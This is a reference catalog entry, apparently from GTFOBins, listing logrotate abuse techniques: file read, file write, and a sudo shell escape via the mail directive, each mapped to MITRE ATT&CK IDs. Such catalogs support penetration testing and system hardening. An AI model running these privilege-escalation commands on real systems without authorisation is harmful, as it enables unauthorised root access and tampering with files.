CatalogGTFOBins

GTFO · Tool

logrotate

7 techniquesLinuxGTFOBinsGPL-3.0

file-read

File ReadPrivilege EscalationLinux

The first word is returned in a error message.

logrotate /path/to/input-file
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
sudo
Native
file-read
MITRE
T1005

file-read

File ReadPrivilege EscalationLinux

The first word is returned in a error message.

logrotate /path/to/input-file
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
suid
Native
file-read
MITRE
T1005

file-read

File ReadLinux

The first word is returned in a error message.

logrotate /path/to/input-file
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
unprivileged
Native
file-read
MITRE
T1005

file-write

File WritePrivilege EscalationLinux

The content is written in a log file.

logrotate -l /path/to/output-file DATA
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
sudo
Native
file-write
MITRE
T1565

file-write

File WritePrivilege EscalationLinux

The content is written in a log file.

logrotate -l /path/to/output-file DATA
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
suid
Native
file-write
MITRE
T1565

file-write

File WriteLinux

The content is written in a log file.

logrotate -l /path/to/output-file DATA
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
unprivileged
Native
file-write
MITRE
T1565

shell

ExecutionPrivilege EscalationLinux

This command is picky about file permissions. An existing config file can be used as weel, provided that it contains a mail directive.

echo -e '/path/to/temp-file.config {\nmail x@x.x\n}' >/path/to/temp-file.config
echo '/bin/sh 0<&2 1>&2' >/path/to/temp-file.sh
logrotate -m /path/to/temp-file.sh -f /path/to/temp-file
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
sudo
Native
shell
MITRE
T1059